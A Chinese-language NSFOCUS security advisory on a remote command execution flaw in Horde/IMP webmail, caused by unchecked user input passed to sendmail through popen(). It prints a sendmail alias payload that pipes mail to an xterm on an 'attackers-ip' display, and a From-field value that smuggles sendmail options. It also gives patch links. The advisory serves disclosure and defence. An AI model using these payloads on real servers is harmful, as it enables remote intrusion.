首页 -> 安全研究

安全研究

安全漏洞
Horde/IMP 远程执行命令漏洞

发布日期:2000-09-20
更新日期:2000-09-20

受影响系统:

Horde IMP 2.2.1
Horde IMP 2.2
Horde IMP 2.0
不受影响系统:

Horde IMP 2.2.2
描述:

IMP 是 Horde 工程组的成员开发的功能强大的基于 web 的邮件服务程序。
它存在一个漏洞,这个漏洞使得恶意用户可执行任意的命令,方法是进行某种不
合法的输入。这个问题在 IMP 2.2.1 版本和 Horde 1.2.1 版本部分得到纠正,
办法是对用户输入合法性进行检查。

不幸的是这样做了之后,由于 sendmail 的使用和 IMP 可能泄漏文件信息,仍
有可能在运行了Horde/IMP(包括 1.2.1/2.2.1)的 web 服务器上执行命令。问题
在补丁漏掉的地方,用户的输入交给了popen()函数。popen()函数用来执行 sendmail
和命令行邮件传发命令。尽管 PHP 脚本对用户输入合法性进行了检查,但它没有
对作为 sendmail 参数的数据进行检查。结果是,可以把额外的命令行选项传给
sendmail,方法是把它附在 FROM 变量上。这是漏洞的第一个方面。

另一个可以远程执行命令漏洞与邮件附件的处理有关。邮件附件上传之后,在"compose"
消息窗口中一个隐藏的form 变量被设置。这个消息窗口被运行 IMP 的 web 服务器
用来存储临时文件的位置(文件名通常以"php"开头,放在/tmp目录中)。结果是,攻
击者可以在他/她的本地系统上创建一个文件,这个文件看起来象:

     evil@localhost: "|/usr/X11R6/bin/xterm -display attackers-ip:0.0

并且把它作为附件上传给远地系统。这是 sendmial 别名文件,当邮件送到本地时,
它将执行 xterm并把它进行远程显示。

在本地,sendmail 容许用户用命令行参数进行配置。因此,可以递交象

   x@x -O QueueDirectory=/tmp -O AliasFile=path-of-attachment -Fx

的值给 from 变量。sendmail 被 PHP 脚本执行时,这将致使它把队列目录作为/tmp,
把别名文件作为邮件附件发送。攻击者然后就可以从html源文件中得到它的位置,在
"from"域填入特殊的字符串,再提交这个form表单。在 sendmail 查看邮件发送给哪一
个用户时,xterm 就被送到目的地了。


<*来源:  Steube,Jens (jens.steube@coc-ag.de) *>


建议:

临时解决办法:

NSFOCUS建议您再没有打补丁或者升级之前,暂时停止使用IMP。

厂商补丁:

到下面的站点下载补丁程序:

ftp://ftp.horde.org/pub/imp/tarballs/imp-2.2.2.tar.gz
ftp://ftp.horde.org/pub/horde/tarballs/horde-1.2.2.tar.gz

Horde.org patch horde.lib
http://cvs.horde.org/cvsweb.pl/lib/Attic/horde.lib.diff?cvsroot=horde&r1=1.1.2.24%3AHORDE_1_2_1&tr1=1.1&r2=text&tr2=1.1.2.29&f=u




浏览次数:5864
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障